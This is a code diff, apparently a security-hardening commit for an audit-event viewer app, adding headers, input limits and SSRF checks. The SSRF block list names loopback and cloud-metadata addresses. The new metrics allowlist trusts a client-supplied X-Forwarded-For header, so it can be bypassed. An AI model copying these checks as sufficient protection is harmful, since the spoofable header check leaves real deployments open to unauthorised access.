headers: this.authHeader(),
|
|
||||||
});
|
|
||||||
if (res.ok) await this.loadRules();
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async askQuestion() {
|
|
||||||
const q = this.askQuestionText.trim();
|
|
||||||
if (!q) return;
|
|
||||||
this.askLoading = true;
|
|
||||||
this.askAnswer = '';
|
|
||||||
this.askAnswerHtml = '';
|
|
||||||
this.askEvents = [];
|
|
||||||
this.askLlmError = '';
|
|
||||||
|
|
||||||
const payload = { question: q };
|
|
||||||
if (this.filters.selectedServices && this.filters.selectedServices.length) {
|
|
||||||
payload.services = this.filters.selectedServices;
|
|
||||||
}
|
|
||||||
if (this.filters.actor) payload.actor = this.filters.actor;
|
|
||||||
if (this.filters.operation) payload.operation = this.filters.operation;
|
|
||||||
if (this.filters.result) payload.result = this.filters.result;
|
|
||||||
if (this.filters.start) payload.start = new Date(this.filters.start).toISOString();
|
|
||||||
if (this.filters.end) payload.end = new Date(this.filters.end).toISOString();
|
|
||||||
if (this.filters.includeTags) {
|
|
||||||
payload.include_tags = this.filters.includeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
|
|
||||||
}
|
|
||||||
if (this.filters.excludeTags) {
|
|
||||||
payload.exclude_tags = this.filters.excludeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/ask', {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify(payload),
|
|
||||||
});
|
|
||||||
if (!res.ok) throw new Error(await res.text());
|
|
||||||
const body = await res.json();
|
|
||||||
this.askAnswer = body.answer;
|
|
||||||
this.askAnswerHtml = this._mdToHtml(body.answer);
|
|
||||||
this.askEvents = body.events || [];
|
|
||||||
this.askLlmUsed = body.llm_used;
|
|
||||||
this.askLlmError = body.llm_error || '';
|
|
||||||
} catch (err) {
|
|
||||||
this.askAnswer = 'Sorry, something went wrong: ' + (err.message || 'Unknown error');
|
|
||||||
this.askAnswerHtml = this.askAnswer;
|
|
||||||
} finally {
|
|
||||||
this.askLoading = false;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
clearAsk() {
|
|
||||||
this.askQuestionText = '';
|
|
||||||
this.askAnswer = '';
|
|
||||||
this.askAnswerHtml = '';
|
|
||||||
this.askEvents = [];
|
|
||||||
this.askLlmUsed = false;
|
|
||||||
this.askLlmError = '';
|
|
||||||
},
|
|
||||||
|
|
||||||
_mdToHtml(text) {
|
|
||||||
// Very lightweight markdown-to-HTML for LLM answers
|
|
||||||
return text
|
|
||||||
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
|
|
||||||
.replace(/\*\*(.+?)\*\*/g, '<strong>$1</strong>')
|
|
||||||
.replace(/\*(.+?)\*/g, '<em>$1</em>')
|
|
||||||
.replace(/`([^`]+)`/g, '<code>$1</code>')
|
|
||||||
.replace(/Event #(\d+)/g, '<strong>Event #$1</strong>')
|
|
||||||
.replace(/\n/g, '<br>');
|
|
||||||
},
|
|
||||||
|
|
||||||
hasActiveFilters() {
|
|
||||||
return this.filters.actor || this.filters.operation || this.filters.result ||
|
|
||||||
this.filters.start || this.filters.end || this.filters.includeTags ||
|
|
||||||
this.filters.excludeTags ||
|
|
||||||
(this.filters.selectedServices && this.filters.selectedServices.length &&
|
|
||||||
this.filters.selectedServices.length < this.options.services.length);
|
|
||||||
},
|
|
||||||
|
|
||||||
activeFilterSummary() {
|
|
||||||
const parts = [];
|
|
||||||
if (this.filters.actor) parts.push('actor');
|
|
||||||
if (this.filters.operation) parts.push('action');
|
|
||||||
if (this.filters.result) parts.push('result');
|
|
||||||
if (this.filters.start || this.filters.end) parts.push('time');
|
|
||||||
if (this.filters.includeTags || this.filters.excludeTags) parts.push('tags');
|
|
||||||
const svcCount = this.filters.selectedServices?.length || 0;
|
|
||||||
const allCount = this.options.services?.length || 0;
|
|
||||||
if (svcCount && svcCount < allCount) parts.push(`${svcCount} service${svcCount === 1 ? '' : 's'}`);
|
|
||||||
return parts.join(', ') || 'none';
|
|
||||||
},
|
|
||||||
|
|
||||||
async bulkTagMatching() {
|
|
||||||
const tag = prompt('Enter tag to apply to all matching events:');
|
|
||||||
if (!tag || !tag.trim()) return;
|
|
||||||
const mode = confirm('Click OK to REPLACE existing tags.\nClick Cancel to APPEND the new tag.') ? 'replace' : 'append';
|
|
||||||
const params = new URLSearchParams();
|
|
||||||
['actor', 'operation', 'result', 'search'].forEach((key) => {
|
|
||||||
const val = this.filters[key];
|
|
||||||
if (val) params.append(key, val);
|
|
||||||
});
|
|
||||||
if (this.filters.selectedServices && this.filters.selectedServices.length) {
|
|
||||||
this.filters.selectedServices.forEach((s) => params.append('services', s));
|
|
||||||
}
|
|
||||||
if (this.filters.includeTags) {
|
|
||||||
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
|
|
||||||
}
|
|
||||||
if (this.filters.excludeTags) {
|
|
||||||
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
|
|
||||||
}
|
|
||||||
if (this.filters.start) {
|
|
||||||
const d = new Date(this.filters.start);
|
|
||||||
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
|
|
||||||
}
|
|
||||||
if (this.filters.end) {
|
|
||||||
const d = new Date(this.filters.end);
|
|
||||||
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
|
|
||||||
}
|
|
||||||
this.statusText = 'Applying bulk tag…';
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/events/bulk-tags?${params.toString()}`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify({ tags: [tag.trim()], mode }),
|
|
||||||
});
|
|
||||||
if (!res.ok) throw new Error(await res.text());
|
|
||||||
const body = await res.json();
|
|
||||||
this.statusText = `Tagged ${body.matched} events (${body.modified} modified).`;
|
|
||||||
await this.loadEvents();
|
|
||||||
} catch (err) {
|
|
||||||
this.statusText = err.message || 'Failed to apply bulk tag.';
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
displayActor(e) {
|
|
||||||
const app = e.actor?.application || e.actor?.app;
|
|
||||||
if (app?.displayName) return app.displayName;
|
|
||||||
return e.actor_display ||
|
|
||||||
(e.actor_resolved?.name) ||
|
|
||||||
(e.actor?.user?.displayName && e.actor?.user?.userPrincipalName && e.actor?.user?.displayName !== e.actor?.user?.userPrincipalName
|
|
||||||
? `${e.actor.user.displayName} (${e.actor.user.userPrincipalName})`
|
|
||||||
: (e.actor?.user?.displayName || e.actor?.user?.userPrincipalName)) ||
|
|
||||||
e.actor?.servicePrincipal?.displayName ||
|
|
||||||
'Unknown actor';
|
|
||||||
},
|
|
||||||
|
|
||||||
displayTargets(e) {
|
|
||||||
if (Array.isArray(e.target_displays) && e.target_displays.length) return e.target_displays.join(', ');
|
|
||||||
if (Array.isArray(e.targets) && e.targets.length) return e.targets[0].displayName || e.targets[0].id || '—';
|
|
||||||
return '—';
|
|
||||||
},
|
|
||||||
|
|
||||||
openModal(e) {
|
|
||||||
const seen = new WeakSet();
|
|
||||||
try {
|
|
||||||
this.modalBody = JSON.stringify(e.raw || e, (key, value) => {
|
|
||||||
if (typeof value === 'object' && value !== null) {
|
|
||||||
if (seen.has(value)) return '[Circular]';
|
|
||||||
seen.add(value);
|
|
||||||
}
|
|
||||||
return value;
|
|
||||||
}, 2);
|
|
||||||
} catch (err) {
|
|
||||||
this.modalBody = `Error serializing event:\n${err.message}\n\nEvent ID: ${e.id || 'N/A'}`;
|
|
||||||
}
|
|
||||||
this.modalEventId = e.id || '';
|
|
||||||
this.modalExplanation = '';
|
|
||||||
this.modalExplainError = '';
|
|
||||||
this.modalOpen = true;
|
|
||||||
},
|
|
||||||
|
|
||||||
async copyRawEvent() {
|
|
||||||
if (!this.modalBody) return;
|
|
||||||
try {
|
|
||||||
await navigator.clipboard.writeText(this.modalBody);
|
|
||||||
this.statusText = 'Raw event copied to clipboard.';
|
|
||||||
setTimeout(() => { if (this.statusText === 'Raw event copied to clipboard.') this.statusText = ''; }, 2000);
|
|
||||||
} catch (err) {
|
|
||||||
this.statusText = 'Failed to copy to clipboard.';
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
async explainEvent() {
|
|
||||||
if (!this.modalEventId) return;
|
|
||||||
this.modalExplainLoading = true;
|
|
||||||
this.modalExplanation = '';
|
|
||||||
this.modalExplainError = '';
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/events/${this.modalEventId}/explain`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
});
|
|
||||||
if (!res.ok) throw new Error(await res.text());
|
|
||||||
const body = await res.json();
|
|
||||||
this.modalExplanation = body.explanation;
|
|
||||||
this.modalExplainError = body.llm_error || '';
|
|
||||||
} catch (err) {
|
|
||||||
this.modalExplainError = err.message || 'Failed to explain event.';
|
|
||||||
} finally {
|
|
||||||
this.modalExplainLoading = false;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
async addTag(e, tag) {
|
|
||||||
if (!tag.trim()) return;
|
|
||||||
const tags = [...(e.tags || []), tag.trim()];
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/events/${e.id}/tags`, {
|
|
||||||
method: 'PATCH',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify({ tags }),
|
|
||||||
});
|
|
||||||
if (res.ok) e.tags = tags;
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async addComment(e, text) {
|
|
||||||
if (!text.trim()) return;
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/events/${e.id}/comments`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify({ text: text.trim() }),
|
|
||||||
});
|
|
||||||
if (res.ok) {
|
|
||||||
const c = await res.json();
|
|
||||||
e.comments = [...(e.comments || []), c];
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
exportJSON() {
|
|
||||||
const blob = new Blob([JSON.stringify(this.events, null, 2)], { type: 'application/json' });
|
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.json`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
|
||||||
|
|
||||||
exportCSV() {
|
|
||||||
if (!this.events.length) return;
|
|
||||||
const headers = ['timestamp', 'service', 'operation', 'result', 'actor_display', 'target_displays', 'display_summary'];
|
|
||||||
const rows = this.events.map((e) => [
|
|
||||||
e.timestamp || '',
|
|
||||||
e.service || '',
|
|
||||||
e.operation || '',
|
|
||||||
e.result || '',
|
|
||||||
(e.actor_display || '').replace(/"/g, '""'),
|
|
||||||
(Array.isArray(e.target_displays) ? e.target_displays.join('; ') : '').replace(/"/g, '""'),
|
|
||||||
(e.display_summary || '').replace(/"/g, '""'),
|
|
||||||
]);
|
|
||||||
const csv = [headers.join(','), ...rows.map((r) => r.map((c) => `"${c}"`).join(','))].join('\n');
|
|
||||||
const blob = new Blob([csv], { type: 'text/csv' });
|
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.csv`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
|
||||||
};
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
+79
-8
@@ -1,4 +1,5 @@
|
|||||||
import asyncio
|
import asyncio
|
||||||
|
import ipaddress
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
@@ -7,7 +8,18 @@ from pathlib import Path
|
|||||||
|
|
||||||
import structlog
|
import structlog
|
||||||
from audit_trail import log_action
|
from audit_trail import log_action
|
||||||
from config import AI_FEATURES_ENABLED, AUTH_ENABLED, CORS_ORIGINS, ENABLE_PERIODIC_FETCH, FETCH_INTERVAL_MINUTES
|
from config import (
|
||||||
|
AI_FEATURES_ENABLED,
|
||||||
|
AUTH_ALLOWED_GROUPS,
|
||||||
|
AUTH_ALLOWED_ROLES,
|
||||||
|
AUTH_ENABLED,
|
||||||
|
CORS_ORIGINS,
|
||||||
|
DOCS_ENABLED,
|
||||||
|
ENABLE_PERIODIC_FETCH,
|
||||||
|
FETCH_INTERVAL_MINUTES,
|
||||||
|
METRICS_ALLOWED_IPS,
|
||||||
|
WEBHOOK_CLIENT_SECRET,
|
||||||
|
)
|
||||||
from database import setup_indexes
|
from database import setup_indexes
|
||||||
from fastapi import FastAPI, HTTPException, Request
|
from fastapi import FastAPI, HTTPException, Request
|
||||||
from fastapi.middleware.cors import CORSMiddleware
|
from fastapi.middleware.cors import CORSMiddleware
|
||||||
@@ -51,20 +63,28 @@ def configure_logging():
|
|||||||
configure_logging()
|
configure_logging()
|
||||||
logger = structlog.get_logger("aoc.fetcher")
|
logger = structlog.get_logger("aoc.fetcher")
|
||||||
|
|
||||||
app = FastAPI()
|
# Disable OpenAPI docs in production by default
|
||||||
|
app = FastAPI(
|
||||||
|
docs_url="/docs" if DOCS_ENABLED else None,
|
||||||
|
redoc_url="/redoc" if DOCS_ENABLED else None,
|
||||||
|
openapi_url="/openapi.json" if DOCS_ENABLED else None,
|
||||||
|
)
|
||||||
|
|
||||||
# CORS: warn if wildcard is used with auth enabled, but do not break deployments
|
# CORS: when auth is enabled, never allow credentials with wildcard origins
|
||||||
_effective_cors = CORS_ORIGINS
|
_effective_cors = CORS_ORIGINS
|
||||||
|
_cors_credentials = True
|
||||||
if AUTH_ENABLED and "*" in _effective_cors:
|
if AUTH_ENABLED and "*" in _effective_cors:
|
||||||
logger.warning(
|
logger.warning(
|
||||||
"CORS wildcard (*) is insecure when AUTH_ENABLED=true. Set CORS_ORIGINS to your actual origin(s) in production."
|
"CORS wildcard (*) is insecure with AUTH_ENABLED=true and allow_credentials. "
|
||||||
|
"Disabling credentials. Set CORS_ORIGINS to your actual origin(s)."
|
||||||
)
|
)
|
||||||
|
_cors_credentials = False
|
||||||
|
|
||||||
app.add_middleware(CorrelationIdMiddleware)
|
app.add_middleware(CorrelationIdMiddleware)
|
||||||
app.add_middleware(
|
app.add_middleware(
|
||||||
CORSMiddleware,
|
CORSMiddleware,
|
||||||
allow_origins=_effective_cors,
|
allow_origins=_effective_cors,
|
||||||
allow_credentials=True,
|
allow_credentials=_cors_credentials,
|
||||||
allow_methods=["*"],
|
allow_methods=["*"],
|
||||||
allow_headers=["*"],
|
allow_headers=["*"],
|
||||||
)
|
)
|
||||||
@@ -81,7 +101,7 @@ async def prometheus_middleware(request: Request, call_next):
|
|||||||
|
|
||||||
|
|
||||||
@app.middleware("http")
|
@app.middleware("http")
|
||||||
async def cache_control_middleware(request: Request, call_next):
|
async def security_headers_middleware(request: Request, call_next):
|
||||||
response = await call_next(request)
|
response = await call_next(request)
|
||||||
# Prevent caching of HTML and API responses by default
|
# Prevent caching of HTML and API responses by default
|
||||||
if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
|
if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
|
||||||
@@ -92,7 +112,7 @@ async def cache_control_middleware(request: Request, call_next):
|
|||||||
if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
|
if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
|
||||||
response.headers["Content-Security-Policy"] = (
|
response.headers["Content-Security-Policy"] = (
|
||||||
"default-src 'self'; "
|
"default-src 'self'; "
|
||||||
"script-src 'self' 'unsafe-inline' 'unsafe-eval' cdn.jsdelivr.net alcdn.msauth.net; "
|
"script-src 'self' 'unsafe-eval' cdn.jsdelivr.net alcdn.msauth.net; "
|
||||||
"style-src 'self' 'unsafe-inline'; "
|
"style-src 'self' 'unsafe-inline'; "
|
||||||
"connect-src 'self' https://login.microsoftonline.com; "
|
"connect-src 'self' https://login.microsoftonline.com; "
|
||||||
"frame-src 'self' https://login.microsoftonline.com; "
|
"frame-src 'self' https://login.microsoftonline.com; "
|
||||||
@@ -100,6 +120,13 @@ async def cache_control_middleware(request: Request, call_next):
|
|||||||
"img-src 'self' data:; "
|
"img-src 'self' data:; "
|
||||||
"font-src 'self' data:;"
|
"font-src 'self' data:;"
|
||||||
)
|
)
|
||||||
|
# Additional security headers
|
||||||
|
response.headers["X-Content-Type-Options"] = "nosniff"
|
||||||
|
response.headers["X-Frame-Options"] = "DENY"
|
||||||
|
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
|
||||||
|
response.headers["Permissions-Policy"] = (
|
||||||
|
"accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()"
|
||||||
|
)
|
||||||
return response
|
return response
|
||||||
|
|
||||||
|
|
||||||
@@ -165,8 +192,39 @@ async def health_check():
|
|||||||
raise HTTPException(status_code=503, detail="Database unavailable") from exc
|
raise HTTPException(status_code=503, detail="Database unavailable") from exc
|
||||||
|
|
||||||
|
|
||||||
|
def _client_ip(request: Request) -> str:
|
||||||
|
"""Best-effort client IP: X-Forwarded-For first hop, or direct client host."""
|
||||||
|
forwarded = request.headers.get("x-forwarded-for")
|
||||||
|
if forwarded:
|
||||||
|
return forwarded.split(",")[0].strip()
|
||||||
|
return request.client.host if request.client else ""
|
||||||
|
|
||||||
|
|
||||||
|
def _is_metrics_allowed(ip: str) -> bool:
|
||||||
|
"""Check if IP is in the configured metrics allowlist."""
|
||||||
|
if not METRICS_ALLOWED_IPS:
|
||||||
|
return True
|
||||||
|
try:
|
||||||
|
client_addr = ipaddress.ip_address(ip)
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
for network in METRICS_ALLOWED_IPS.split(","):
|
||||||
|
network = network.strip()
|
||||||
|
if not network:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
if client_addr in ipaddress.ip_network(network, strict=False):
|
||||||
|
return True
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
@app.get("/metrics")
|
@app.get("/metrics")
|
||||||
async def metrics():
|
async def metrics(request: Request):
|
||||||
|
client_ip = _client_ip(request)
|
||||||
|
if not _is_metrics_allowed(client_ip):
|
||||||
|
raise HTTPException(status_code=403, detail="Forbidden")
|
||||||
return Response(content=prometheus_metrics(), media_type="text/plain")
|
return Response(content=prometheus_metrics(), media_type="text/plain")
|
||||||
|
|
||||||
|
|
||||||
@@ -220,6 +278,19 @@ async def start_periodic_fetch():
|
|||||||
auth_enabled=AUTH_ENABLED,
|
auth_enabled=AUTH_ENABLED,
|
||||||
ai_enabled=AI_FEATURES_ENABLED,
|
ai_enabled=AI_FEATURES_ENABLED,
|
||||||
)
|
)
|
||||||
|
# Warn when auth is enabled but no role/group restrictions are configured
|
||||||
|
if AUTH_ENABLED and not AUTH_ALLOWED_ROLES and not AUTH_ALLOWED_GROUPS:
|
||||||
|
logger.warning(
|
||||||
|
"AUTH_ENABLED is true but no AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS are configured. "
|
||||||
|
"Any Entra user in the tenant can authenticate and access AOC. "
|
||||||
|
"Set AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS to restrict access."
|
||||||
|
)
|
||||||
|
if not WEBHOOK_CLIENT_SECRET:
|
||||||
|
logger.warning(
|
||||||
|
"WEBHOOK_CLIENT_SECRET is not set. Graph webhook notifications will be accepted without "
|
||||||
|
"clientState validation, allowing any HTTP client to spoof Graph notifications. "
|
||||||
|
"Set WEBHOOK_CLIENT_SECRET to the clientState used when creating Graph subscriptions."
|
||||||
|
)
|
||||||
if ENABLE_PERIODIC_FETCH:
|
if ENABLE_PERIODIC_FETCH:
|
||||||
app.state.fetch_task = asyncio.create_task(_periodic_fetch())
|
app.state.fetch_task = asyncio.create_task(_periodic_fetch())
|
||||||
|
|
||||||
|
|||||||
+14
-12
@@ -1,4 +1,6 @@
|
|||||||
from pydantic import BaseModel, ConfigDict
|
from typing import Literal
|
||||||
|
|
||||||
|
from pydantic import BaseModel, ConfigDict, Field
|
||||||
|
|
||||||
|
|
||||||
class EventItem(BaseModel):
|
class EventItem(BaseModel):
|
||||||
@@ -51,35 +53,35 @@ class SourceHealthResponse(BaseModel):
|
|||||||
|
|
||||||
|
|
||||||
class TagsUpdateRequest(BaseModel):
|
class TagsUpdateRequest(BaseModel):
|
||||||
tags: list[str]
|
tags: list[str] = Field(..., max_length=50)
|
||||||
|
|
||||||
|
|
||||||
class BulkTagsRequest(BaseModel):
|
class BulkTagsRequest(BaseModel):
|
||||||
tags: list[str]
|
tags: list[str] = Field(..., max_length=50)
|
||||||
mode: str = "append" # "append" or "replace"
|
mode: Literal["append", "replace"] = "append"
|
||||||
|
|
||||||
|
|
||||||
class CommentAddRequest(BaseModel):
|
class CommentAddRequest(BaseModel):
|
||||||
text: str
|
text: str = Field(..., min_length=1, max_length=5000)
|
||||||
|
|
||||||
|
|
||||||
class AlertCondition(BaseModel):
|
class AlertCondition(BaseModel):
|
||||||
field: str
|
field: str = Field(..., max_length=100)
|
||||||
op: str # eq, neq, contains, in, after_hours
|
op: Literal["eq", "neq", "contains", "in", "after_hours", "threshold_count"]
|
||||||
value: str | list[str] | None = None
|
value: str | list[str] | None = None
|
||||||
|
|
||||||
|
|
||||||
class AlertRuleResponse(BaseModel):
|
class AlertRuleResponse(BaseModel):
|
||||||
id: str | None = None
|
id: str | None = None
|
||||||
name: str
|
name: str = Field(..., max_length=200)
|
||||||
enabled: bool
|
enabled: bool
|
||||||
severity: str
|
severity: Literal["high", "medium", "low"]
|
||||||
conditions: list[AlertCondition]
|
conditions: list[AlertCondition] = Field(..., max_length=20)
|
||||||
message: str
|
message: str = Field(..., max_length=1000)
|
||||||
|
|
||||||
|
|
||||||
class AskRequest(BaseModel):
|
class AskRequest(BaseModel):
|
||||||
question: str
|
question: str = Field(..., min_length=1, max_length=2000)
|
||||||
services: list[str] | None = None
|
services: list[str] | None = None
|
||||||
actor: str | None = None
|
actor: str | None = None
|
||||||
operation: str | None = None
|
operation: str | None = None
|
||||||
|
|||||||
@@ -4,7 +4,9 @@ Supported channels:
|
|||||||
- webhook: POST JSON to any URL (Slack, Teams, generic)
|
- webhook: POST JSON to any URL (Slack, Teams, generic)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
from datetime import UTC, datetime
|
from datetime import UTC, datetime
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
import structlog
|
import structlog
|
||||||
@@ -15,6 +17,26 @@ logger = structlog.get_logger("aoc.notifications")
|
|||||||
WEBHOOK_TIMEOUT = 15
|
WEBHOOK_TIMEOUT = 15
|
||||||
|
|
||||||
|
|
||||||
|
def _validate_webhook_url(url: str):
|
||||||
|
"""Prevent SSRF by rejecting internal/reserved addresses."""
|
||||||
|
parsed = urlparse(url)
|
||||||
|
if parsed.scheme not in ("http", "https"):
|
||||||
|
raise ValueError(f"Webhook URL scheme '{parsed.scheme}' is not allowed")
|
||||||
|
hostname = (parsed.hostname or "").lower()
|
||||||
|
if not hostname:
|
||||||
|
raise ValueError("Webhook URL must have a valid hostname")
|
||||||
|
blocked = {"localhost", "127.0.0.1", "0.0.0.0", "::1", "169.254.169.254"}
|
||||||
|
if hostname in blocked:
|
||||||
|
raise ValueError(f"Webhook URL hostname '{hostname}' is not allowed")
|
||||||
|
try:
|
||||||
|
ip = ipaddress.ip_address(hostname)
|
||||||
|
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
|
||||||
|
raise ValueError(f"Webhook URL IP '{hostname}' is not allowed")
|
||||||
|
except ValueError as exc:
|
||||||
|
if "not allowed" in str(exc):
|
||||||
|
raise
|
||||||
|
|
||||||
|
|
||||||
@retry(
|
@retry(
|
||||||
stop=stop_after_attempt(3),
|
stop=stop_after_attempt(3),
|
||||||
wait=wait_exponential(multiplier=1, min=2, max=10),
|
wait=wait_exponential(multiplier=1, min=2, max=10),
|
||||||
@@ -142,6 +164,12 @@ def send_notification(
|
|||||||
if not webhook_url:
|
if not webhook_url:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
_validate_webhook_url(webhook_url)
|
||||||
|
except ValueError as exc:
|
||||||
|
logger.warning("Notification blocked: invalid webhook URL", error=str(exc))
|
||||||
|
return False
|
||||||
|
|
||||||
builders = {
|
builders = {
|
||||||
"slack": _build_slack_payload,
|
"slack": _build_slack_payload,
|
||||||
"teams": _build_teams_payload,
|
"teams": _build_teams_payload,
|
||||||
|
|||||||
@@ -42,6 +42,8 @@ def _get_path_category(path: str) -> str:
|
|||||||
return "ask"
|
return "ask"
|
||||||
if path.startswith("/api/events/bulk-tags"):
|
if path.startswith("/api/events/bulk-tags"):
|
||||||
return "write"
|
return "write"
|
||||||
|
if "/explain" in path:
|
||||||
|
return "explain"
|
||||||
return "default"
|
return "default"
|
||||||
|
|
||||||
|
|
||||||
@@ -51,6 +53,8 @@ def _limit_for_category(category: str) -> tuple[int, int]:
|
|||||||
return (10, 3600) # 10 per hour
|
return (10, 3600) # 10 per hour
|
||||||
if category == "ask":
|
if category == "ask":
|
||||||
return (30, 60) # 30 per minute
|
return (30, 60) # 30 per minute
|
||||||
|
if category == "explain":
|
||||||
|
return (20, 60) # 20 per minute — LLM + Graph API calls
|
||||||
if category == "write":
|
if category == "write":
|
||||||
return (20, 60) # 20 per minute
|
return (20, 60) # 20 per minute
|
||||||
return (RATE_LIMIT_REQUESTS, RATE_LIMIT_WINDOW_SECONDS)
|
return (RATE_LIMIT_REQUESTS, RATE_LIMIT_WINDOW_SECONDS)
|
||||||
@@ -79,4 +83,5 @@ async def check_rate_limit(request: Request):
|
|||||||
except RateLimitExceeded:
|
except RateLimitExceeded:
|
||||||
raise
|
raise
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.warning("Rate limiter Redis error; allowing request", error=str(exc))
|
logger.warning("Rate limiter Redis error; failing closed", error=str(exc))
|
||||||
|
raise RateLimitExceeded(retry_after=60) from None
|
||||||
|
|||||||
@@ -16,3 +16,8 @@ gunicorn
|
|||||||
mcp
|
mcp
|
||||||
redis
|
redis
|
||||||
arq
|
arq
|
||||||
|
|
||||||
|
# Optional: Azure Key Vault integration for secrets storage
|
||||||
|
# Uncomment if using AZURE_KEY_VAULT_NAME
|
||||||
|
# azure-identity
|
||||||
|
# azure-keyvault-secrets
|
||||||
|
|||||||
@@ -1,5 +1,8 @@
|
|||||||
"""Alert management endpoints."""
|
"""Alert management endpoints."""
|
||||||
|
|
||||||
|
import re
|
||||||
|
from typing import Literal
|
||||||
|
|
||||||
from auth import require_auth
|
from auth import require_auth
|
||||||
from bson import ObjectId
|
from bson import ObjectId
|
||||||
from database import alerts_collection
|
from database import alerts_collection
|
||||||
@@ -10,7 +13,7 @@ router = APIRouter(dependencies=[Depends(require_auth)])
|
|||||||
|
|
||||||
|
|
||||||
class AlertStatusUpdate(BaseModel):
|
class AlertStatusUpdate(BaseModel):
|
||||||
status: str # open | acknowledged | resolved | false_positive
|
status: Literal["open", "acknowledged", "resolved", "false_positive"]
|
||||||
|
|
||||||
|
|
||||||
class AlertListResponse(BaseModel):
|
class AlertListResponse(BaseModel):
|
||||||
@@ -32,7 +35,7 @@ def list_alerts(
|
|||||||
if severity:
|
if severity:
|
||||||
query["severity"] = severity
|
query["severity"] = severity
|
||||||
if rule_name:
|
if rule_name:
|
||||||
query["rule_name"] = {"$regex": rule_name, "$options": "i"}
|
query["rule_name"] = {"$regex": re.escape(rule_name), "$options": "i"}
|
||||||
|
|
||||||
total = alerts_collection.count_documents(query)
|
total = alerts_collection.count_documents(query)
|
||||||
skip = (page - 1) * page_size
|
skip = (page - 1) * page_size
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import httpx
|
|||||||
import structlog
|
import structlog
|
||||||
from auth import require_auth, user_can_access_privacy_services
|
from auth import require_auth, user_can_access_privacy_services
|
||||||
from config import (
|
from config import (
|
||||||
|
LLM_ALLOWED_DOMAINS,
|
||||||
LLM_API_KEY,
|
LLM_API_KEY,
|
||||||
LLM_API_VERSION,
|
LLM_API_VERSION,
|
||||||
LLM_BASE_URL,
|
LLM_BASE_URL,
|
||||||
@@ -398,7 +399,7 @@ def _format_events_for_llm(
|
|||||||
|
|
||||||
|
|
||||||
def _validate_llm_url(url: str):
|
def _validate_llm_url(url: str):
|
||||||
"""Prevent SSRF by rejecting internal/reserved addresses."""
|
"""Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
|
||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
parsed = urlparse(url)
|
parsed = urlparse(url)
|
||||||
@@ -420,6 +421,12 @@ def _validate_llm_url(url: str):
|
|||||||
except ValueError:
|
except ValueError:
|
||||||
pass # hostname is not an IP, which is fine
|
pass # hostname is not an IP, which is fine
|
||||||
|
|
||||||
|
# Enforce domain allowlist if configured
|
||||||
|
if LLM_ALLOWED_DOMAINS:
|
||||||
|
